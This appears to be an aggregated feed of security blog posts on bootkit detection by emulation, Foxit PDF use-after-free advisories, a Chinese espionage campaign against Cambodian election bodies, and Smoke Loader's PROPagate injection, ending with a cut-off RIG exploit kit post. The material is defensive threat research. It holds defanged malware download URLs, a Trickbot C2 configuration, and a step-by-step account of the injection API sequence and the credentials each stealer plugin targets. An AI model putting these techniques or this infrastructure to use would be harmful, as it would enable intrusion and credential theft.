BIOS Boots What? Finding Evil in Boot Code at Scale!

The second issue is that reverse engineering all boot records is
impractical. Given the job of determining if a single system is
infected with a bootkit, a malware analyst could acquire a disk image
and then reverse engineer the boot bytes to determine if anything
malicious is present in the boot chain. However, this process takes
time and even an army of skilled reverse engineers wouldn’t scale to
the size of modern enterprise networks. To put this in context, the
compromised enterprise network referenced in our ROCKBOOT blog post had approximately
10,000 hosts. Assuming a minimum
of two boot records per host, a Master Boot Record (MBR) and a Volume
Boot Record (VBR), that is an average of 20,000 boot records to analyze! An
initial reaction is probably, “Why not just hash the boot records and
only analyze the unique ones?” One would assume that corporate
networks are mostly homogeneous, particularly with respect to boot
code, yet this is not the case. Using the same network as an example,
the 20,000 boot records reduced to only 6,000 unique records based on
MD5 hash. Table 1 demonstrates this using data we’ve collected across
our engagements for various enterprise sizes.

Enterprise Size (# hosts) Avg # Unique Boot Records (md5)
100-1000 428
1000-10000 4,738
10000+ 8,717

Table 1 – Unique boot records by MD5 hash

Now, the next thought might be, “Rather than hashing the entire
record, why not implement a custom hashing technique where only
subsections of the boot code are hashed, thus avoiding the dynamic
data portions?” We tried this as well. For example, in the case of
Master Boot Records, we used the bytes at the following two offsets to
calculate a hash:

md5( offset[0:218] + offset[224:440] )

In one network this resulted in approximately 185,000 systems
reducing to around 90 unique MBR hashes. However, this technique had
drawbacks. Most notably, it required accounting for numerous special
cases for applications such as Altiris, SafeBoot, and PGPGuard. This
required small adjustments to the algorithm for each environment,
which in turn required reverse engineering many records to find the
appropriate offsets to hash.

Ultimately, we concluded that to solve the problem we needed a
solution that provided the following:

  • A reliable collection of
    boot records from systems
  • A behavioral analysis of boot
    records, not just static analysis
  • The ability to analyze
    tens of thousands of boot records in a timely manner

The remainder of this post describes how we solved each of these challenges.

Collect the Bytes

Malicious drivers insert themselves into the disk driver stack so
they can intercept disk I/O as it traverses the stack. They do this to
hide their presence (the real bytes) on disk. To address this attack
vector, we developed a custom kernel driver (henceforth, our “Raw
Read” driver) capable of targeting various altitudes in the disk
driver stack. Using the Raw Read driver, we identify the lowest level
of the stack and read the bytes from that level (Figure 1).


Figure 1: Malicious driver inserts itself
as a filter driver in the stack, raw read driver reads bytes from
lowest level

This allows us to bypass the rest of the driver stack, as well as
any user space hooks. (It is important to note, however, that if the
lowest driver on the I/O stack has an inline code hook an attacker can
still intercept the read requests.) Additionally, we can compare the
bytes read from the lowest level of the driver stack to those read
from user space. Introducing our first indicator of a compromised
boot system: the bytes retrieved from user space don’t match those
retrieved from the lowest level of the disk driver stack.

Analyze the Bytes

As previously mentioned, reverse engineering and static analysis are
impractical when dealing with hundreds of thousands of boot records.
Automated dynamic analysis is a more practical approach, specifically
through emulating the execution of a boot record. In more technical
terms, we are emulating the real mode instructions of a boot record.

The emulation engine that we chose is the Unicorn project. Unicorn
is based on the QEMU emulator and supports 16-bit real mode emulation.
As boot samples are collected from endpoint machines, they are sent to
the emulation engine where high-level functionality is captured during
emulation. This functionality includes events such as memory access,
disk reads and writes, and other interrupts that execute during emulation.

The Execution Hash

Folding down (aka stacking) duplicate samples is critical to reduce
the time needed on follow-up analysis by a human analyst. An
interesting quality of the boot samples gathered at scale is that
while samples are often functionally identical, the data they use
(e.g. strings or offsets) is often very different. This makes it quite
difficult to generate a hash to identify duplicates, as demonstrated
in Table 1. So how can we solve this problem with emulation? Enter the
“execution hash”. The idea is simple: during emulation, hash the
mnemonic of every assembly instruction that executes (e.g.,
“md5(‘and’ + ‘mov’ + ‘shl’ + ‘or’)”). Figure 2 illustrates this
concept of hashing the assembly instruction as it executes to
ultimately arrive at the “execution hash”


Figure 2: Execution hash

Using this method, the 650,000 unique boot samples we’ve collected
to date can be grouped into a little more than 300 unique execution
hashes. This reduced data set makes it far more manageable to identify
samples for follow-up analysis. Introducing our second indicator of
a compromised boot system: an execution hash that is only found on a
few systems in an enterprise!

Behavioral Analysis

Like all malware, suspicious activity executed by bootkits can vary
widely. To avoid the pitfall of writing detection signatures for
individual malware samples, we focused on identifying behavior that
deviates from normal OS bootstrapping. To enable this analysis, the
series of instructions that execute during emulation are fed into an
analytic engine. Let’s look in more detail at an example of malicious
functionality exhibited by several bootkits that we discovered by
analyzing the results of emulation.

Several malicious bootkits we discovered hooked the interrupt vector
table (IVT) and the BIOS Data Area (BDA) to intercept system
interrupts and data during the boot process. This can provide an
attacker the ability to intercept disk reads and also alter the
maximum memory reported by the system. By hooking these structures,
bootkits can attempt to hide themselves on disk or even in memory.

These hooks can be identified by memory writes to the memory ranges
reserved for the IVT and BDA during the boot process. The IVT
structure is located at the memory range 0000:0000h to 0000:03FCh and
the BDA is located at 0040:0000h. The malware can hook the interrupt
13h handler to inspect and modify disk writes that occur during the
boot process. Additionally, bootkit malware has been observed
modifying the memory size reported by the BIOS Data Area in order to
potentially hide itself in memory.

This leads us to our final category of indicators of a compromised
boot system: detection of suspicious behaviors such as IVT hooking,
decoding and executing data from disk, suspicious screen output from
the boot code, and modifying files or data on disk.

Do it at Scale

Dynamic analysis gives us a drastic improvement when determining the
behavior of boot records, but it comes at a cost. Unlike static
analysis or hashing, it is orders of magnitude slower. In our cloud
analysis environment, the average time to emulate a single record is
4.83 seconds. Using the compromised enterprise network that contained
ROCKBOOT as an example (approximately 20,000 boot records), it would
take more than 26 hours to dynamically analyze (emulate) the records
serially! In order to provide timely results to our analysts we needed
to easily scale our analysis throughput relative to the amount of
incoming data from our endpoint technologies. To further complicate
the problem, boot record analysis tends to happen in batches, for
example, when our endpoint technology is first deployed to a new enterprise.

With the advent of serverless cloud computing, we had the
opportunity to create an emulation analysis service that scales to
meet this demand – all while remaining cost effective. One of the
advantages of serverless computing versus traditional cloud instances
is that there are no compute costs during inactive periods; the only
cost incurred is storage. Even when our cloud solution receives tens
of thousands of records at the start of a new customer engagement, it
can rapidly scale to meet demand and maintain near real-time detection
of malicious bytes.

The cloud infrastructure we selected for our application is Amazon
Web Services (AWS). Figure 3 provides an overview of the architecture.


Figure 3: Boot record analysis workflow

Our design currently utilizes:

  • API Gateway to provide a RESTful interface.
  • Lambda functions to do validation, emulation, analysis, as
    well as storage and retrieval of results.
  • DynamoDB to track progress of processed boot records through
    the system.
  • S3 to store boot records and emulation reports.

The architecture we created exposes a RESTful API that provides a
handful of endpoints. At a high level the workflow is:

  1. Endpoint agents in
    customer networks automatically collect boot records using FireEye’s
    custom developed Raw Read kernel driver (see “Collect the bytes”
    described earlier) and return the records to FireEye’s Incident
    Response (IR) server.
  2. The IR server submits batches of boot
    records to the AWS-hosted REST interface, and polls the interface
    for batched results.
  3. The IR server provides a UI for
    analysts to view the aggregated results across the enterprise, as
    well as automated notifications when malicious boot records are
    found.

The REST API endpoints are exposed via AWS’s API Gateway, which then
proxies the incoming requests to a “submission” Lambda. The submission
Lambda validates the incoming data, stores the record (aka boot code)
to S3, and then fans out the incoming requests to “analysis” Lambdas.

The analysis Lambda is where boot record emulation occurs. Because
Lambdas are started on demand, this model allows for an incredibly
high level of parallelization. AWS provides various settings to
control the maximum concurrency for a Lambda function, as well as
memory/CPU allocations and more. Once the analysis is complete, a
report is generated for the boot record and the report is stored in
S3. The reports include the results of emulation and other metadata
extracted from the boot record (e.g., ASCII strings).

As described earlier, the IR server periodically polls the AWS REST
endpoint until processing is complete, at which time the report is downloaded.

Find More Evil in Big Data

Our workflow for identifying malicious boot records is only
effective when we know what malicious indicators to look for, or what
execution hashes to blacklist. But what if a new malicious boot record
(with a unique hash) evades our existing signatures?

For this problem, we leverage our in-house big data platform engine
that we integrated into FireEye
Helix
following the acquisition of X15 Software. By loading the
results of hundreds of thousands of emulations into the engine X15,
our analysts can hunt through the results at scale and identify
anomalous behaviors such as unique screen prints, unusual initial jump
offsets, or patterns in disk reads or writes.

This analysis at scale helps us identify new and interesting samples
to reverse engineer, and ultimately helps us identify new detection
signatures that feed back into our analytic engine.

Conclusion

Within weeks of going live we detected previously unknown
compromised systems in multiple customer environments. We’ve
identified everything from ROCKBOOT and HDRoot!
bootkits to the admittedly humorous JackTheRipper,
a bootkit that spreads itself via floppy disk (no joke). Our system
has collected and processed nearly 650,000 unique records to date and
continues to find the evil needles (suspicious and malicious boot
records) in very large haystacks.

In summary, by combining advanced endpoint boot record extraction
with scalable serverless computing and an automated emulation engine,
we can rapidly analyze thousands of records in search of evil. FireEye
is now using this solution in both our Managed
Defense
and Incident
Response
offerings.

Acknowledgements

Dimiter Andonov, Jamin Becker, Fred House, and Seth Summersett
contributed to this blog post.

Go to Source
Author: Ryan Fisher

Vulnerability Spotlight: Foxit PDF Reader JavaScript Remote Code Execution Vulns

OVERVIEW

Discovered by Aleksandar Nikolic of Cisco Talos.

Talos is disclosing a pair of vulnerabilities in Foxit PDF Reader. Foxit PDF Reader is a popular free program for viewing, creating, and editing PDF documents. It is commonly used as an alternative to Adobe Acrobat Reader and has a widely used browser plugin available.

TALOS-2018-0588

TALOS-2018-0588 / CVE-2018-3924 is an exploitable user-after-free vulnerability that exists in the JavaScript engine of Foxit’s PDF Reader. As a complete feature-rich PDF reader Foxit supports JavaScript for interactive documents and dynamic forms. When executing embedded JavaScript code a document can be cloned, which frees a lot of used objects, but the JavaScript can continue to execute, potentially leading to a user-after-free condition. This particular vulnerability lies in invoking the ‘mailForm’ method of the active document resulting in arbitrary code execution.

A specially crafted PDF file could trigger this vulnerability. There are a couple of different ways an adversary could leverage this attack including tricking a user to opening a malicious PDF or, if the browser plugin is enabled, simply viewing the document on the Internet could result in exploitation. Full details of the vulnerability can be found here.

TALOS-2018-0606

TALOS-2018-0606 / CVE-2018-3939 is an exploitable use-after-free vulnerability found in the Javascript engine that can result in remote code execution.  As a complete feature-rich PDF reader Foxit supports JavaScript for interactive documents and dynamic forms. When executing embedded JavaScript code a document can be closed, which frees a lot of used objects, but the JavaScript can continue to execute, potentially leading to a user-after-free condition. This particular vulnerability lies in invoking the ‘createTemplate’ method of the active document resulting in arbitrary code execution.

A specially crafted PDF file could trigger this vulnerability. There are a couple of different ways an adversary could leverage this attack including tricking a user to opening a malicious PDF or, if the browser plugin is enabled, simply viewing the document on the Internet could result in exploitation. Full details of the vulnerability can be found here.

Go to Source

Author: Talos Group

Chinese Espionage Group TEMP.Periscope Targets Cambodia Ahead of July2018 Elections and Reveals Broad Operations Globally

Introduction

FireEye has examined a range of TEMP.Periscope activity revealing
extensive interest in Cambodia’s politics, with active compromises of
multiple Cambodian entities related to the country’s electoral system.
This includes compromises of Cambodian government entities charged
with overseeing the elections, as well as the targeting of opposition
figures. This campaign occurs in the run up to the country’s July 29,
2018, general elections. TEMP.Periscope used the same infrastructure
for a range of activity against other more traditional targets,
including the defense industrial base in the United States and a
chemical company based in Europe. Our previous blog post focused on
the group’s targeting
of engineering and maritime entities
in the United States.

Overall, this activity indicates that the group maintains an
extensive intrusion architecture and wide array of malicious tools,
and targets a large victim set, which is in line with typical
Chinese-based APT efforts. We expect this activity to provide the
Chinese government with widespread visibility into Cambodian elections
and government operations. Additionally, this group is clearly able to
run several large-scale intrusions concurrently across a wide range of
victim types.

Our analysis also strengthened our overall attribution of this
group. We observed the toolsets we previously attributed to this
group, their observed targets are in line with past group efforts and
also highly similar to known Chinese APT efforts, and we identified an
IP address originating in Hainan, China that was used to remotely
access and administer a command and control (C2) server.

TEMP.Periscope Background

Active since at least 2013, TEMP.Periscope has primarily focused on
maritime-related targets across multiple verticals, including
engineering firms, shipping and transportation, manufacturing,
defense, government offices, and research universities (targeting is
summarized in Figure 1). The group has also targeted
professional/consulting services, high-tech industry, healthcare, and
media/publishing. TEMP.Periscope overlaps in targeting, as well as
tactics, techniques, and procedures (TTPs), with TEMP.Jumper, a group
that also overlaps significantly with public reporting by Proofpoint
and F-Secure
on “NanHaiShu.”


Figure 1: Summary of TEMP.Periscope activity

Incident Background

FireEye analyzed files on three open indexes believed to be
controlled by TEMP.Periscope, which yielded insight into the group’s
objectives, operational tactics, and a significant amount of technical
attribution/validation. These files were “open indexed” and
thus accessible to anyone on the public internet. This TEMP.Periscope
activity on these servers extends from at least April 2017 to the
present, with the most current operations focusing on Cambodia’s
government and elections.

  • Two servers,
    chemscalere[.]com and scsnewstoday[.]com, operate as typical C2
    servers and hosting sites, while the third, mlcdailynews[.]com,
    functions as an active SCANBOX server. The C2 servers contained both
    logs and malware.
  • Analysis of logs from the three servers
    revealed:

    • Potential actor logins from an IP address
      located in Hainan, China that was used to remotely access and
      administer the servers, and interact with malware deployed at
      victim organizations.
    • Malware command and control
      check-ins from victim organizations in the education, aviation,
      chemical, defense, government, maritime, and technology sectors
      across multiple regions. FireEye has notified all of the victims
      that we were able to identify.
  • The malware
    present on the servers included both new families (DADBOD, EVILTECH)
    and previously identified malware families (AIRBREAK, EVILTECH,
    HOMEFRY, MURKYTOP, HTRAN, and SCANBOX) .

Compromises of Cambodian Election Entities

Analysis of command and control logs on the servers revealed
compromises of multiple Cambodian entities, primarily those relating
to the upcoming July 2018 elections. In addition, a separate spear
phishing email analyzed by FireEye indicates concurrent targeting of
opposition figures within Cambodia by TEMP.Periscope.

Analysis indicated that the following Cambodian government
organizations and individuals were compromised by TEMP.Periscope:

  • National Election
    Commission, Ministry of the Interior, Ministry of Foreign Affairs
    and International Cooperation, Cambodian Senate, Ministry of
    Economics and Finance
  • Member of Parliament representing
    Cambodia National Rescue Party
  • Multiple Cambodians
    advocating human rights and democracy who have written critically of
    the current ruling party
  • Two Cambodian diplomats serving
    overseas
  • Multiple Cambodian media entities

TEMP.Periscope sent a spear phish with AIRBREAK malware to
Monovithya Kem, Deputy Director-General, Public Affairs, Cambodia
National Rescue Party (CNRP), and the daughter of (imprisoned)
Cambodian opposition party leader Kem Sokha (Figure 2). The decoy
document purports to come from LICADHO (a non-governmental
organization [NGO] in Cambodia established in 1992 to promote human
rights). This sample leveraged scsnewstoday[.]com for C2.


Figure 2: Human right protection survey lure

The decoy document “Interview Questions.docx” (MD5:
ba1e5b539c3ae21c756c48a8b5281b7e) is tied to AIRBREAK downloaders of
the same name. The questions reference the opposition Cambodian
National Rescue Party, human rights, and the election (Figure 3).


Figure 3: Interview questions decoy

Infrastructure Also Used for Operations Against Private Companies

The aforementioned malicious infrastructure was also used against
private companies in Asia, Europe and North America. These companies
are in a wide range of industries, including academics, aviation,
chemical, maritime, and technology. A MURKYTOP sample from 2017 and
data contained in a file linked to chemscalere[.]com suggest that a
corporation involved in the U.S. defense industrial base (DIB)
industry, possibly related to maritime research, was compromised. Many
of these compromises are in line with TEMP.Periscope’s previous
activity targeting maritime and defense industries. However, we also
uncovered the compromise of a European chemical company with a
presence in Asia, demonstrating that this group is a threat to
business worldwide, particularly those with ties to Asia.

AIRBREAK Downloaders and Droppers Reveal Lure Indicators

Filenames for AIRBREAK downloaders found on the open indexed sites
also suggest the ongoing targeting of interests associated with Asian
geopolitics. In addition, analysis of AIRBREAK downloader sites
revealed a related server that underscores TEMP.Periscope’s interest
in Cambodian politics.

The AIRBREAK downloaders in Table 1 redirect intended victims to the
indicated sites to display a legitimate decoy document while
downloading an AIRBREAK payload from one of the identified C2s. Of
note, the hosting site for the legitimate documents was not
compromised. An additional C2 domain, partyforumseasia[.]com, was
identified as the callback for an AIRBREAK downloader referencing the
Cambodian National Rescue Party.

Redirect Site (Not Malicious) AIRBREAK Downloader AIRBREAK C2
en.freshnewsasia.com/index.php/en/8623-2018-04-26-10-12-46.html TOP_NEWS_Japan_to_Support_the_Election.js

(3c51c89078139337c2c92e084bb0904c) [Figure 4]

chemscalere[.]com
iric.gov.kh/LICADHO/Interview-Questions.pdf [pdf]Interview-Questions.pdf.js

(e413b45a04bf5f812912772f4a14650f)

iric.gov.kh/LICADHO/Interview-Questions.pdf [docx]Interview-Questions.docx.js

(cf027a4829c9364d40dcab3f14c1f6b7)

unknown Interview_Questions.docx.js

(c8fdd2b2ddec970fa69272fdf5ee86cc)

scsnewstoday[.]com
atimes.com/article/philippines-draws-three-hard-new-lines-on-china/ Philippines-draws-three-hard-new-lines-on-china
.js

(5d6ad552f1d1b5cfe99ddb0e2bb51fd7)

mlcdailynews[.]com
facebook.com/CNR.Movement/videos/190313618267633/ CNR.Movement.mp4.js

(217d40ccd91160c152e5fce0143b16ef)

Partyforumseasia[.]com

Table 1: AIRBREAK downloaders


Figure 4: Decoy document associated with
AIRBREAK downloader file TOP_NEWS_Japan_to_Support_the_Election.js

SCANBOX Activity Gives Hints to Future Operations

The active SCANBOX server, mlcdailynews[.]com, is hosting articles
related to the current Cambodian campaign and broader operations.
Articles found on the server indicate targeting of those with
interests in U.S.-East Asia geopolitics, Russia and NATO affairs.
Victims are likely either brought to the SCANBOX server via strategic
website compromise or malicious links in targeted emails with the
article presented as decoy material. The articles come from
open-source reporting readily available online. Figure 5 is a SCANBOX
welcome page and Table 2 is a list of the articles found on the server.


Figure 5: SCANBOX welcome page

Copied Article Topic Article Source (Not Compromised)
Leaders confident yet nervous Khmer Times
Mahathir_ ‘We want to be friendly with
China
PM urges voters to support CPP for peace
CPP determined to maintain Kingdom’s peace and
development
Bun Chhay’s wife dies at 60
Crackdown planned on boycott callers
Further floods coming to Kingdom
Kem Sokha again denied bail
PM vows to stay on as premier to quash
traitors
Iran_ Don’t trust Trump Fresh News
Kim-Trump summit_ Singapore’s role
Trump’s North Korea summit may bring peace
declaration – but at a cost
Reuters
U.S. pushes NATO to ready more forces to deter
Russian threat
us-nato-russia_us-pushes-nato-to-ready-more-forces-to-deter-russian-threat
Interior Minister Sar Kheng warns of dirty
tricks
Phnom Penh
Post
Another player to enter market for cashless
pay
Donald Trump says he has ‘absolute right’ to
pardon himself but he’s done nothing wrong – Donald Trump’s
America
ABC News
China-funded national road inaugurated in
Cambodia
The Cambodia Daily
Kim and Trump in first summit session in
Singapore
Asia Times
U.S. to suspend military exercises with South
Korea, Trump says
U.S. News
Rainsy defamed the King_ Hun Sen BREAKING NEWS
cambodia-opposition-leader-denied-bail-again-in-treason-case Associated Press

Table 2: SCANBOX articles copied to server

TEMP.Periscope Malware Suite

Analysis of the malware inventory contained on the three servers
found a classic suite of TEMP.Periscope payloads, including the
signature AIRBREAK, MURKYTOP, and HOMEFRY. In addition, FireEye’s
analysis identified new tools, EVILTECH and DADBOD (Table 3).

Malware Function Details
EVILTECH Backdoor
  • EVILTECH is a
    JavaScript sample that implements a simple RAT with support
    for uploading, downloading, and running arbitrary
    JavaScript.
  • During the infection process, EVILTECH is
    run on the system, which then causes a redirect and possibly
    the download of additional malware or connection to another
    attacker-controlled system.
DADBOD Credential
Theft
  • DADBOD is a tool
    used to steal user cookies.
  • Analysis of this
    malware is still ongoing.

Table 3: New additions to the TEMP.Periscope
malware suite

Data from Logs Strengthens Attribution to China

Our analysis of the servers and surrounding data in this latest
campaign bolsters our previous assessment that TEMP.Periscope is
likely Chinese in origin. Data from a control panel access log
indicates that operators are based in China and are operating on
computers with Chinese language settings.

A log on the server revealed IP addresses that had been used to log
in to the software used to communicate with malware on victim
machines. One of the IP addresses, 112.66.188.28, is located in
Hainan, China. Other addresses belong to virtual private servers, but
artifacts indicate that the computers used to log in all cases are
configured with Chinese language settings.

Outlook and Implications

The activity uncovered here offers new insight into TEMP.Periscope’s
activity. We were previously aware of this actor’s interest in
maritime affairs, but this compromise gives additional indications
that it will target the political system of strategically important
countries. Notably, Cambodia has served as a reliable supporter of
China’s South China Sea position in international forums such as ASEAN
and is an important partner. While Cambodia is rated as Authoritarian
by the Economist’s Democracy Index, the recent surprise upset of the
ruling party in Malaysia may motivate China to closely monitor
Cambodia’s July 29 elections.

The targeting of the election commission is particularly
significant, given the critical role it plays in facilitating voting.
There is not yet enough information to determine why the organization
was compromised – simply gathering intelligence or as part of a more
complex operation. Regardless, this incident is the most recent
example of aggressive nation-state intelligence collection on election
processes worldwide.

We expect TEMP.Periscope to continue targeting a wide range of
government and military agencies, international organizations, and
private industry. However focused this group may be on maritime
issues, several incidents underscore their broad reach, which has
included European firms doing business in Southeast Asia and the
internal affairs of littoral nations. FireEye expects TEMP.Periscope
will remain a virulent threat for those operating in the area for the
foreseeable future.

Go to Source
Author: Scott Henderson

Smoking Guns – Smoke Loader learned new tricks

OVERVIEW

Cisco Talos has been tracking a new version of Smoke Loader — a malicious application that can be used to load other malware — for the past several months following an alert from Cisco Advanced Malware Protection’s (AMP) Exploit Prevention engine. AMP successfully stopped the malware before it was able to infect the host, but further analysis showed some developments in the Smoke Loader sample resulting from this chain of malware that intrigued us. This includes one of the first uses of the PROPagate injection technique in real-world malware. Besides a report released at the end of last week describing a different RIG Exploit Kit-based campaign, we haven’t seen real-world malware using this.

Talos is very familiar with Smoke Loader. For example, it was used as a downloader for a cyberattack that was launched using the official website of Ukraine-based accounting software developer Crystal Finance Millennium (CFM) in January.

Similar to many other campaigns, the initial infection vector was an email with a malicious Microsoft Word document attached. The victims were tricked into opening the attachment and enabling the embedded macros. This started the malware-downloading chain, down to the final Smoke Loader infection and its plugins.

Smoke Loader is primarily used as a downloader to drop and execute additional malware like ransomware or cryptocurrency miners. Actors using Smoke Loader botnets have posted on malware forums attempting to sell third-party payload installs. This sample of Smoke Loader did not transfer any additional executables, suggesting that it may not be as popular as it once was, or it’s only being used for private purposes.

The plugins are all designed to steal sensitive information from the victim, specifically targeting stored credentials or sensitive information transferred over a browser — including Windows and Team Viewer credentials, email logins, and others.

TECHNICAL DETAILS

INFECTION CHAIN

As mentioned above, the infection chain started with an email and an attached malicious Word document (b98abdbdb85655c64617bb6515df23062ec184fe88d2d6a898b998276a906ebc). You can see the content of this email below.

Fig. 1 – Phishing Email

The attached Word document had an embedded macro that initiated the second stage and downloaded the Trickbot malware. (0be63a01e2510d161ba9d11e327a55e82dcb5ea07ca1488096dac3e9d4733d41).

Fig. 2 – Email attachment: IO08784413.doc

This document downloads and executes the Trickbot malware from hxxp://5[.]149[.]253[.]100/sg3.exe, or hxxp://185[.]117[.]88[.]96/sg3.exe as %TEMP%\[a-zA-Z]{6-9}.exe. These URLs have served up multiple malicious executables in the past, including samples of Trickbot.

In our Trickbot cases, the malware finally downloaded the Smoke Loader trojan (b65806521aa662bff2c655c8a7a3b6c8e598d709e35f3390df880a70c3fded40), which installed five additional Smoke Loader plugins. We are describing these plugins in detail later in the plugins section of this report.

TRICKBOT

(0be63a01e2510d161ba9d11e327a55e82dcb5ea07ca1488096dac3e9d4733d41)

Smoke Loader has often dropped Trickbot as a payload. This sample flips the script, with our telemetry showing this Trickbot sample dropping Smoke Loader. This is likely an example of malware-as-a-service, with botnet operators charging money to install third-party malware on infected computers. We haven’t analysed the Trickbot sample further, but for your reference, we are providing the Trickbot configuration here (IP addresses redacted with bracketed dots for security reasons.):

<mcconf>
<ver>1000167</ver>
<gtag>wrm13</gtag>

<srv>185[.]174[.]173[.]34:443</srv>
<srv>162[.]247[.]155[.]114:443</srv>
<srv>185[.]174[.]173[.]116:443</srv>
<srv>185[.]174[.]173[.]241:443</srv>
<srv>62[.]109[.]26[.]121:443</srv>
<srv>185[.]68[.]93[.]27:443</srv>
<srv>137[.]74[.]151[.]148:443</srv>
<srv>185[.]223[.]95[.]66:443</srv>
<srv>85[.]143[.]221[.]60:443</srv>
<srv>195[.]123[.]216[.]115:443</srv>
<srv>94[.]103[.]82[.]216:443</srv>
<srv>185[.]20[.]187[.]13:443</srv>
<srv>185[.]242[.]179[.]118:443</srv>
<srv>62[.]109[.]26[.]208:443</srv>
<srv>213[.]183[.]51[.]54:443</srv>
<srv>62[.]109[.]24[.]176:443</srv>
<srv>62[.]109[.]27[.]196:443</srv>
<srv>185[.]174[.]174[.]156:443</srv>
<srv>37[.]230[.]112[.]146:443</srv>
<srv>185[.]174[.]174[.]72:443</srv>
</servs>
<autorun>
<module name=”systeminfo” ctl=”GetSystemInfo”/>
<module name=”injectDll”/>
</autorun>
</mcconf>

SMOKE LOADER PACKER/INJECTOR DETAILS

Malware frequently iterates through process lists to find a process to inject. Security researchers know this process well and have created many tools to track the Windows APIs used in this technique, like CreateToolhelp32Snapshot. This Smoke Loader sample avoids iterating through process lists by calling the Windows API GetShellWindow to get a handle to the shell’s desktop window, then calling GetWindowThreadProcessId to get the process ID of Explorer.exe.

Smoke Loader then uses standard injection API to create and write two memory sections in Explorer, one for shellcode and another for a UxSubclassInfo structure to be used later for PROPagate injection.

GetShellWindow -> GetWindowThreadProcessId -> NtOpenProcess -> NtCreateSection -> NtMapViewOfSection x2 -> NtUnmapViewOfSection

The window handle retrieved from the previous call to GetShellWindow has a second purpose. Smoke Loader uses EnumChildWindows to iterate through each of the handle’s child windows to find one containing the property UxSubclassInfo, which indicates it is vulnerable to PROPagate injection.

PROPagate injection was first described by a security researcher in late 2017, though there were no public POCs available when Smoke Loader started using it. The Smoke Loader developers likely used publicly available notes on PROPagate to recreate the technique.

Fig. 3 – PROPagate Injection

For each child window, the injector calls EnumPropsA to iterate through window properties until it finds UxSubclassInfo. This function also showcases some of the anti-analysis techniques employed by this sample’s packer. There are several unnecessary jumps for control flow obfuscation, including simple opaque predicates leading to junk code.

“Deobf_next_chunk” takes arguments for size and offset for the next chunk of code to deobfuscate and execute, so the bulk of the malicious code is deobfuscated as needed, and can be obfuscated again once the next chunk is loaded. The obfuscation method is a simple one-byte XOR with the same hardcoded value for every piece.
These anti-analysis techniques are accompanied by anti-debugging and anti-VM checks, as well as threads dedicated to scanning for processes and windows belonging to analysis tools. These features complicate forensics, runtime AV scanners, tracing, and debugging.

Fig. 4 – Trigger malicious event handler via WM_NOTIFY and WM_PAINT

Once the shellcode and UxSubclassInfo data are written to the remote process, the injector calls SetPropA to update the property for the window, then sends WM_NOTIFY and WM_PAINT messages to the target window to force it to trigger the malicious event handler that executes the injected shellcode.

INJECTED SHELLCODE: SMOKE LOADER

Smoke Loader received five interesting plugins instead of additional payloads. Each plugin was given its own Explorer.exe process to execute in, and the malware used older techniques to inject each plugin into these processes. Each Explorer.exe process is created with the option CREATE_SUSPENDED, the shellcode is injected, then executed using ResumeThread. This is noisy and leaves six Explorer.exe processes running on the infected machine.

PLUGINS

As mentioned above, the plugins are all designed to steal sensitive information from the victim, explicitly targeting stored credentials or sensitive information transferred over a browser. Each plugin uses the mutex “opera_shared_counter” to ensure multiple plugins don’t inject code into the same process at the same time.

Plugin 1:

This is the largest plugin with approximately 2,000 functions. It contains a statically linked SQLite library for reading local database files.

  • It targets stored info for Firefox, Internet Explorer, Chrome, Opera, QQ Browser, Outlook, and Thunderbird.
  • Recursively searches for files named logins.json which it parses for hostnameencryptedUsername, and encryptedPassword.
  • vaultcli.dll – Windows Credential Manager
  • POP3, SMTP, IMAP Credentials

Plugin 2:

This plugin recursively searches through directories looking for files to parse and exfiltrate.

Outlook
*.pst
*.ost
Thunderbird
*.mab
*.msf
inbox
sent
templates
drafts
archives
The Bat!
*.tbb
*.tbn
*.abd

Plugin 3:

This one injects into browsers to intercept credentials and cookies as they are transferred over HTTP and HTTPS.

  • If “fgclearcookies” is set, kills browser processes and deletes cookies.
  • iexplore.exe and microsoftedgecp.exe 
    • HttpSendRequestA 
    • HttpSendRequestW 
    • InternetWriteFile 
    • firefox.exe
  • PR_Write in nspr4.dll or nss3.dll
  • chrome.exe 
    • unknown function inside chrome.dll
  • opera.exe 
    • unknown function inside opera_browser.dll or opera.dll

Plugin 4:

This hooks ws2_32!send and ws2_32!WSASend to attempt to steal credentials for ftp, smtp, pop3, and imap

Plugin 5:

This one injects code into TeamViewer.exe to steal credentials

IOC

B98abdbdb85655c64617bb6515df23062ec184fe88d2d6a898b998276a906ebc (IO08784413.doc)
0be63a01e2510d161ba9d11e327a55e82dcb5ea07ca1488096dac3e9d4733d41 (Trickbot)
b65806521aa662bff2c655c8a7a3b6c8e598d709e35f3390df880a70c3fded40 (Smoke Loader)

Mutex: opera_shared_counter

Trickbot IPs:
185[.]174[.]173[.]34
162[.]247[.]155[.]114
185[.]174[.]173[.]116
185[.]174[.]173[.]241
62[.]109[.]26[.]121
185[.]68[.]93[.]27
137[.]74[.]151[.]148
185[.]223[.]95[.]66
85[.]143[.]221[.]60
195[.]123[.]216[.]115
94[.]103[.]82[.]216
185[.]20[.]187[.]13
185[.]242[.]179[.]118
62[.]109[.]26[.]208
213[.]183[.]51[.]54
62[.]109[.]24[.]176
62[.]109[.]27[.]196
185[.]174[.]174[.]156
37[.]230[.]112[.]146
185[.]174[.]174[.]72

Smoke Loader domains:
ukcompany[.]me
ukcompany[.]pw
ukcompany[.]top

Dropped File: %appdata%\Microsoft\Windows\[a-z]{8}\[a-z]{8}.exe

Scheduled Task: Opera scheduled Autoupdate [0-9]{1-10}

CONCLUSION

We have seen that the trojan and botnet market is constantly undergoing changes. The players are continuously improving their quality and techniques. They modify these techniques on an ongoing basis to enhance their capabilities to bypass security tools. This clearly shows how important it is to make sure all our systems are up to date. Organizations can utilize a multi-layered defensive approach to detect and protect against these kinds of threats. Talos continues to monitor these campaigns as they evolve to ensure that defenses protect our customers. We strongly encourage users and organizations to follow recommended security practices, such as installing security patches as they become available, exercising caution when receiving messages from unknown third parties, and ensuring that a robust offline backup solution is in place. These practices will help reduce the threat of a compromise, and should aid in the recovery of any such attack.

Go to Source
Author: Talos Group

RIG Exploit Kit Delivering Monero Miner Via PROPagate Injection Technique

Introduction

Through FireEye Dynamic Threat Intelligence (DTI), we observed RIG
Exploit Kit (EK) delivering a dropper that leverages the PROPagate
injection technique
to inject code that downloads and executes a
Monero miner (similar activity has been reported by Trend
Micro
). Apart from leveraging a relatively lesser known injection
technique, the attack chain has some other interesting properties that
we will touch on in this blog post.



Attack Chain

The attack chain starts when the user visits a compromised website
that loads the RIG EK landing page in an iframe. The RIG EK uses
various techniques to deliver the NSIS (Nullsoft Scriptable Install
System) loader, which leverages the PROPagate injection technique to
inject shellcode into explorer.exe. This shellcode executes the next
